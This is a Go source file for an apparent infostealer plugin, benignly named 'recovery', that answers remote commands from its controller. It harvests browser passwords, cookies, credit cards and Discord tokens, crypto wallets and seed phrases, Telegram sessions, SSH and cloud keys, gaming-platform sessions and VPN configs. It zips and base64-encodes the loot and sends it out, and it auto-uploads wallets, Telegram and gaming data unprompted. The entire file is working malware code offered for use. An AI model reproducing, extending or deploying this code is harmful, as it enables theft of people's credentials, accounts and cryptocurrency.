589 lines
16 KiB
Go
589 lines
16 KiB
Go
package main
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"context"
|
||
|
|
"encoding/base64"
|
||
|
|
"encoding/json"
|
||
|
|
"log"
|
||
|
|
"path/filepath"
|
||
|
|
"recovery/recovery"
|
||
|
|
"sync"
|
||
|
|
"sync/atomic"
|
||
|
|
"time"
|
||
|
|
)
|
||
|
|
|
||
|
|
// collectDeadline bounds an entire collection run. A single stuck browser
|
||
|
|
// (NSS/COM/pipe stall) must never wedge the agent for more than this.
|
||
|
|
const collectDeadline = 90 * time.Second
|
||
|
|
|
||
|
|
type HostInfo struct {
|
||
|
|
ClientID string `json:"clientId"`
|
||
|
|
OS string `json:"os"`
|
||
|
|
Arch string `json:"arch"`
|
||
|
|
Version string `json:"version"`
|
||
|
|
}
|
||
|
|
|
||
|
|
var (
|
||
|
|
hostInfo HostInfo
|
||
|
|
sendFn func(event string, payload []byte)
|
||
|
|
mu sync.Mutex
|
||
|
|
collecting atomic.Bool
|
||
|
|
)
|
||
|
|
|
||
|
|
func setSend(fn func(event string, payload []byte)) {
|
||
|
|
mu.Lock()
|
||
|
|
sendFn = fn
|
||
|
|
mu.Unlock()
|
||
|
|
}
|
||
|
|
|
||
|
|
func sendEvent(event string, payload interface{}) {
|
||
|
|
mu.Lock()
|
||
|
|
fn := sendFn
|
||
|
|
mu.Unlock()
|
||
|
|
if fn == nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
data, err := json.Marshal(payload)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] marshal error: %v", err)
|
||
|
|
return
|
||
|
|
}
|
||
|
|
fn(event, data)
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleInit(hostJSON []byte) error {
|
||
|
|
if err := json.Unmarshal(hostJSON, &hostInfo); err != nil {
|
||
|
|
return err
|
||
|
|
}
|
||
|
|
log.Printf("[recovery] init: clientId=%s os=%s arch=%s", hostInfo.ClientID, hostInfo.OS, hostInfo.Arch)
|
||
|
|
sendEvent("ready", map[string]string{"status": "recovery plugin ready"})
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleEvent(event string, payload []byte) error {
|
||
|
|
switch event {
|
||
|
|
case "collect":
|
||
|
|
go handleCollect(payload)
|
||
|
|
case "scan_files":
|
||
|
|
go handleScanFiles()
|
||
|
|
case "scan_extensions":
|
||
|
|
go handleScanExtensions()
|
||
|
|
case "fetch_file":
|
||
|
|
go handleFetchFile(payload)
|
||
|
|
case "fetch_ext_zip":
|
||
|
|
go handleFetchExtZip(payload)
|
||
|
|
case "scan_wallets":
|
||
|
|
go handleScanWallets()
|
||
|
|
case "fetch_wallet_zip":
|
||
|
|
go handleFetchWalletZip(payload)
|
||
|
|
case "scan_telegram":
|
||
|
|
go handleScanTelegram()
|
||
|
|
case "fetch_telegram_zip":
|
||
|
|
go handleFetchTelegramZip(payload)
|
||
|
|
case "scan_keys":
|
||
|
|
go handleScanKeys()
|
||
|
|
case "scan_apps":
|
||
|
|
go handleScanApps()
|
||
|
|
case "scan_gaming":
|
||
|
|
go handleScanGaming()
|
||
|
|
case "scan_vpn":
|
||
|
|
go handleScanVPN()
|
||
|
|
case "fingerprint":
|
||
|
|
go handleFingerprint()
|
||
|
|
case "fingerprint_js":
|
||
|
|
go handleFingerprintJS()
|
||
|
|
case "ping":
|
||
|
|
sendEvent("pong", nil)
|
||
|
|
default:
|
||
|
|
log.Printf("[recovery] unhandled event: %s", event)
|
||
|
|
}
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleCollect(payload []byte) {
|
||
|
|
if !collecting.CompareAndSwap(false, true) {
|
||
|
|
log.Printf("[recovery] collection already in progress, ignoring duplicate request")
|
||
|
|
return
|
||
|
|
}
|
||
|
|
defer collecting.Store(false)
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] collection panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "internal collection error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var opts recovery.CollectOptions
|
||
|
|
if len(payload) > 0 {
|
||
|
|
json.Unmarshal(payload, &opts)
|
||
|
|
} else {
|
||
|
|
opts.Browsers = true
|
||
|
|
}
|
||
|
|
|
||
|
|
if opts.Browsers {
|
||
|
|
noneSet := !opts.Passwords && !opts.Cookies && !opts.Autofill &&
|
||
|
|
!opts.History && !opts.Bookmarks && !opts.CreditCards && !opts.Discord
|
||
|
|
if noneSet {
|
||
|
|
opts.Passwords = true
|
||
|
|
opts.Cookies = true
|
||
|
|
opts.Autofill = true
|
||
|
|
opts.History = true
|
||
|
|
opts.Bookmarks = true
|
||
|
|
opts.CreditCards = true
|
||
|
|
opts.Discord = true
|
||
|
|
opts.Files = true
|
||
|
|
opts.Wallets = true
|
||
|
|
opts.Telegram = true
|
||
|
|
opts.Keys = true
|
||
|
|
opts.Apps = true
|
||
|
|
opts.Gaming = true
|
||
|
|
opts.VPNs = true
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] starting collection (passwords=%v cookies=%v autofill=%v history=%v bookmarks=%v cards=%v discord=%v)",
|
||
|
|
opts.Passwords, opts.Cookies, opts.Autofill, opts.History, opts.Bookmarks, opts.CreditCards, opts.Discord)
|
||
|
|
sendEvent("status", map[string]string{"message": "Resolving encryption keys..."})
|
||
|
|
|
||
|
|
var extensions []recovery.ExtensionResult
|
||
|
|
var extWg sync.WaitGroup
|
||
|
|
if opts.Browsers {
|
||
|
|
extWg.Add(1)
|
||
|
|
go func() {
|
||
|
|
defer extWg.Done()
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] extension scan panic: %v", r)
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
extensions = recovery.ScanExtensions()
|
||
|
|
}()
|
||
|
|
}
|
||
|
|
|
||
|
|
partialFn := func(partial *recovery.CollectionResult) {
|
||
|
|
sendEvent("partial", partial)
|
||
|
|
}
|
||
|
|
|
||
|
|
ctx, cancel := context.WithTimeout(context.Background(), collectDeadline)
|
||
|
|
defer cancel()
|
||
|
|
|
||
|
|
result, err := recovery.Collect(ctx, opts, partialFn)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] collection failed: %v", err)
|
||
|
|
sendEvent("error", map[string]string{"error": err.Error()})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
if opts.Browsers {
|
||
|
|
extWg.Wait()
|
||
|
|
result.Extensions = extensions
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] collection complete: %d passwords, %d cookies, %d autofill, %d history, %d bookmarks, %d cards, %d discord tokens, %d extensions, %d wallets, %d telegram, %d keys, %d app creds",
|
||
|
|
len(result.Passwords), len(result.Cookies), len(result.Autofill),
|
||
|
|
len(result.History), len(result.Bookmarks), len(result.CreditCards), len(result.DiscordTokens), len(result.Extensions), len(result.Wallets), len(result.Telegram), len(result.Keys), len(result.AppCredentials))
|
||
|
|
|
||
|
|
sendEvent("results", result)
|
||
|
|
|
||
|
|
if len(result.Wallets) > 0 {
|
||
|
|
go func() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] wallet auto-download panic: %v", r)
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
autoDownloadWallets(result.Wallets)
|
||
|
|
}()
|
||
|
|
}
|
||
|
|
|
||
|
|
go func() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] seed scan panic: %v", r)
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
seeds := recovery.ScanSeeds(result.Files, result.Passwords, result.Autofill)
|
||
|
|
if len(seeds) > 0 {
|
||
|
|
log.Printf("[recovery] seed scan found %d seed phrases", len(seeds))
|
||
|
|
sendEvent("seed_scan_results", map[string]interface{}{
|
||
|
|
"seeds": seeds,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanExtensions() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] extension scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "extension scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning extensions..."})
|
||
|
|
exts := recovery.ScanExtensions()
|
||
|
|
log.Printf("[recovery] extension scan complete: %d extensions", len(exts))
|
||
|
|
sendEvent("extension_scan_results", map[string]interface{}{
|
||
|
|
"extensions": exts,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFetchExtZip(payload []byte) {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fetch_ext_zip panic: %v", r)
|
||
|
|
sendEvent("fetch_ext_zip_error", map[string]string{"error": "internal error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var req struct {
|
||
|
|
Path string `json:"path"`
|
||
|
|
ExtID string `json:"extId"`
|
||
|
|
}
|
||
|
|
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||
|
|
sendEvent("fetch_ext_zip_error", map[string]string{"error": "invalid request"})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
data, err := recovery.ZipDirectory(req.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] fetch_ext_zip %q: %v", req.ExtID, err)
|
||
|
|
sendEvent("fetch_ext_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] zipped extension %q (%d bytes)", req.ExtID, len(data))
|
||
|
|
sendEvent("fetch_ext_zip_result", map[string]interface{}{
|
||
|
|
"path": req.Path,
|
||
|
|
"extId": req.ExtID,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
const maxAutoDownloadSize = 50 * 1024 * 1024 // 50MB
|
||
|
|
|
||
|
|
func handleScanWallets() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] wallet scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "wallet scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning wallets..."})
|
||
|
|
wallets := recovery.ScanWallets()
|
||
|
|
log.Printf("[recovery] wallet scan complete: %d wallets", len(wallets))
|
||
|
|
sendEvent("wallet_scan_results", map[string]interface{}{
|
||
|
|
"wallets": wallets,
|
||
|
|
})
|
||
|
|
autoDownloadWallets(wallets)
|
||
|
|
}
|
||
|
|
|
||
|
|
func autoDownloadWallets(wallets []recovery.WalletResult) {
|
||
|
|
for _, w := range wallets {
|
||
|
|
if w.Size > maxAutoDownloadSize {
|
||
|
|
log.Printf("[recovery] skipping auto-download for %q (%d bytes exceeds limit)", w.Name, w.Size)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := recovery.ZipDirectory(w.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] auto-download zip %q: %v", w.Name, err)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
log.Printf("[recovery] auto-download %q (%d bytes)", w.Name, len(data))
|
||
|
|
sendEvent("wallet_auto_data", map[string]interface{}{
|
||
|
|
"name": w.Name,
|
||
|
|
"type": w.Type,
|
||
|
|
"path": w.Path,
|
||
|
|
"addresses": w.Addresses,
|
||
|
|
"vaultData": w.VaultData,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFetchWalletZip(payload []byte) {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fetch_wallet_zip panic: %v", r)
|
||
|
|
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "internal error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var req struct {
|
||
|
|
Path string `json:"path"`
|
||
|
|
Name string `json:"name"`
|
||
|
|
}
|
||
|
|
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||
|
|
sendEvent("fetch_wallet_zip_error", map[string]string{"error": "invalid request"})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
data, err := recovery.ZipDirectory(req.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] fetch_wallet_zip %q: %v", req.Name, err)
|
||
|
|
sendEvent("fetch_wallet_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] zipped wallet %q (%d bytes)", req.Name, len(data))
|
||
|
|
sendEvent("fetch_wallet_zip_result", map[string]interface{}{
|
||
|
|
"path": req.Path,
|
||
|
|
"name": req.Name,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanFiles() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] file scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "file scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning files..."})
|
||
|
|
files := recovery.ScanFiles()
|
||
|
|
log.Printf("[recovery] file scan complete: %d files", len(files))
|
||
|
|
sendEvent("file_scan_results", map[string]interface{}{
|
||
|
|
"files": files,
|
||
|
|
"truncated": len(files) >= 500,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFetchFile(payload []byte) {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fetch_file panic: %v", r)
|
||
|
|
sendEvent("fetch_file_error", map[string]string{"error": "internal error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var req struct {
|
||
|
|
Path string `json:"path"`
|
||
|
|
}
|
||
|
|
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||
|
|
sendEvent("fetch_file_error", map[string]string{"error": "invalid request"})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
data, err := recovery.FetchFile(req.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] fetch_file %q: %v", req.Path, err)
|
||
|
|
sendEvent("fetch_file_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] fetched %q (%d bytes)", req.Path, len(data))
|
||
|
|
sendEvent("fetch_file_result", map[string]interface{}{
|
||
|
|
"path": req.Path,
|
||
|
|
"name": filepath.Base(req.Path),
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanTelegram() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] telegram scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "telegram scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning Telegram sessions..."})
|
||
|
|
sessions := recovery.ScanTelegram()
|
||
|
|
log.Printf("[recovery] telegram scan complete: %d accounts", len(sessions))
|
||
|
|
sendEvent("telegram_scan_results", map[string]interface{}{
|
||
|
|
"sessions": sessions,
|
||
|
|
})
|
||
|
|
for _, s := range sessions {
|
||
|
|
if s.Size > maxAutoDownloadSize {
|
||
|
|
log.Printf("[recovery] skipping telegram auto-download for %q (%d bytes exceeds limit)", s.Account, s.Size)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := recovery.ZipTelegram(s.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] telegram zip %q: %v", s.Account, err)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
log.Printf("[recovery] telegram auto-download %q (%d bytes)", s.Account, len(data))
|
||
|
|
sendEvent("telegram_data", map[string]interface{}{
|
||
|
|
"account": s.Account,
|
||
|
|
"path": s.Path,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFetchTelegramZip(payload []byte) {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fetch_telegram_zip panic: %v", r)
|
||
|
|
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "internal error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
|
||
|
|
var req struct {
|
||
|
|
Path string `json:"path"`
|
||
|
|
Account string `json:"account"`
|
||
|
|
}
|
||
|
|
if err := json.Unmarshal(payload, &req); err != nil || req.Path == "" {
|
||
|
|
sendEvent("fetch_telegram_zip_error", map[string]string{"error": "invalid request"})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
data, err := recovery.ZipTelegram(req.Path)
|
||
|
|
if err != nil {
|
||
|
|
log.Printf("[recovery] fetch_telegram_zip %q: %v", req.Account, err)
|
||
|
|
sendEvent("fetch_telegram_zip_error", map[string]string{"path": req.Path, "error": err.Error()})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
|
||
|
|
log.Printf("[recovery] zipped telegram %q (%d bytes)", req.Account, len(data))
|
||
|
|
sendEvent("telegram_data", map[string]interface{}{
|
||
|
|
"account": req.Account,
|
||
|
|
"path": req.Path,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanKeys() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] key scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "key scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning SSH & cloud keys..."})
|
||
|
|
keys := recovery.ScanKeys()
|
||
|
|
log.Printf("[recovery] key scan complete: %d keys", len(keys))
|
||
|
|
sendEvent("key_scan_results", map[string]interface{}{
|
||
|
|
"keys": keys,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanApps() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] app scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "app credential scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning app credentials..."})
|
||
|
|
apps := recovery.ScanApps()
|
||
|
|
log.Printf("[recovery] app scan complete: %d credentials", len(apps))
|
||
|
|
sendEvent("app_scan_results", map[string]interface{}{
|
||
|
|
"appCredentials": apps,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanGaming() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] gaming scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "gaming scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning gaming platforms..."})
|
||
|
|
gaming := recovery.ScanGaming()
|
||
|
|
sendEvent("gaming_scan_results", map[string]interface{}{
|
||
|
|
"gaming": gaming,
|
||
|
|
})
|
||
|
|
if gaming == nil {
|
||
|
|
return
|
||
|
|
}
|
||
|
|
autoDownloadGaming(gaming)
|
||
|
|
}
|
||
|
|
|
||
|
|
func autoDownloadGaming(gaming *recovery.GamingResult) {
|
||
|
|
type zipJob struct {
|
||
|
|
name string
|
||
|
|
fn func() ([]byte, error)
|
||
|
|
}
|
||
|
|
var jobs []zipJob
|
||
|
|
|
||
|
|
if gaming.Steam != nil && gaming.Steam.SteamPath != "" {
|
||
|
|
steamPath := gaming.Steam.SteamPath
|
||
|
|
jobs = append(jobs, zipJob{"steam", func() ([]byte, error) { return recovery.ZipSteamSession(steamPath) }})
|
||
|
|
}
|
||
|
|
if len(gaming.BattleNet) > 0 {
|
||
|
|
jobs = append(jobs, zipJob{"battlenet", recovery.ZipBattleNet})
|
||
|
|
}
|
||
|
|
if len(gaming.Epic) > 0 {
|
||
|
|
jobs = append(jobs, zipJob{"epic", recovery.ZipEpic})
|
||
|
|
}
|
||
|
|
if len(gaming.Riot) > 0 {
|
||
|
|
jobs = append(jobs, zipJob{"riot", recovery.ZipRiot})
|
||
|
|
}
|
||
|
|
if len(gaming.Uplay) > 0 {
|
||
|
|
jobs = append(jobs, zipJob{"uplay", recovery.ZipUplay})
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, j := range jobs {
|
||
|
|
data, err := j.fn()
|
||
|
|
if err != nil || len(data) == 0 {
|
||
|
|
log.Printf("[recovery] gaming zip %s: %v", j.name, err)
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
if len(data) > maxAutoDownloadSize {
|
||
|
|
log.Printf("[recovery] gaming zip %s too large (%d bytes), skipping", j.name, len(data))
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
log.Printf("[recovery] gaming auto-download %s (%d bytes)", j.name, len(data))
|
||
|
|
sendEvent("gaming_data", map[string]interface{}{
|
||
|
|
"platform": j.name,
|
||
|
|
"size": len(data),
|
||
|
|
"content": base64.StdEncoding.EncodeToString(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleScanVPN() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] vpn scan panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "vpn scan error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("status", map[string]string{"message": "Scanning VPN configurations..."})
|
||
|
|
vpns := recovery.ScanVPNs()
|
||
|
|
sendEvent("vpn_scan_results", map[string]interface{}{
|
||
|
|
"vpns": vpns,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleUnload() {
|
||
|
|
log.Printf("[recovery] unloading")
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFingerprint() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fingerprint panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "fingerprint error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
sendEvent("fingerprint_result", recovery.CollectFingerprint())
|
||
|
|
log.Printf("[recovery] fingerprint collected")
|
||
|
|
}
|
||
|
|
|
||
|
|
func handleFingerprintJS() {
|
||
|
|
defer func() {
|
||
|
|
if r := recover(); r != nil {
|
||
|
|
log.Printf("[recovery] fingerprint_js panic: %v", r)
|
||
|
|
sendEvent("error", map[string]string{"error": "fingerprint_js error"})
|
||
|
|
}
|
||
|
|
}()
|
||
|
|
result := recovery.CollectJSFingerprint()
|
||
|
|
if result == nil {
|
||
|
|
sendEvent("fingerprint_js_result", map[string]string{"error": "failed to collect JS fingerprint"})
|
||
|
|
return
|
||
|
|
}
|
||
|
|
sendEvent("fingerprint_js_result", result)
|
||
|
|
log.Printf("[recovery] JS fingerprint collected")
|
||
|
|
}
|
||
|
|
|
||
|
|
func main() {}
|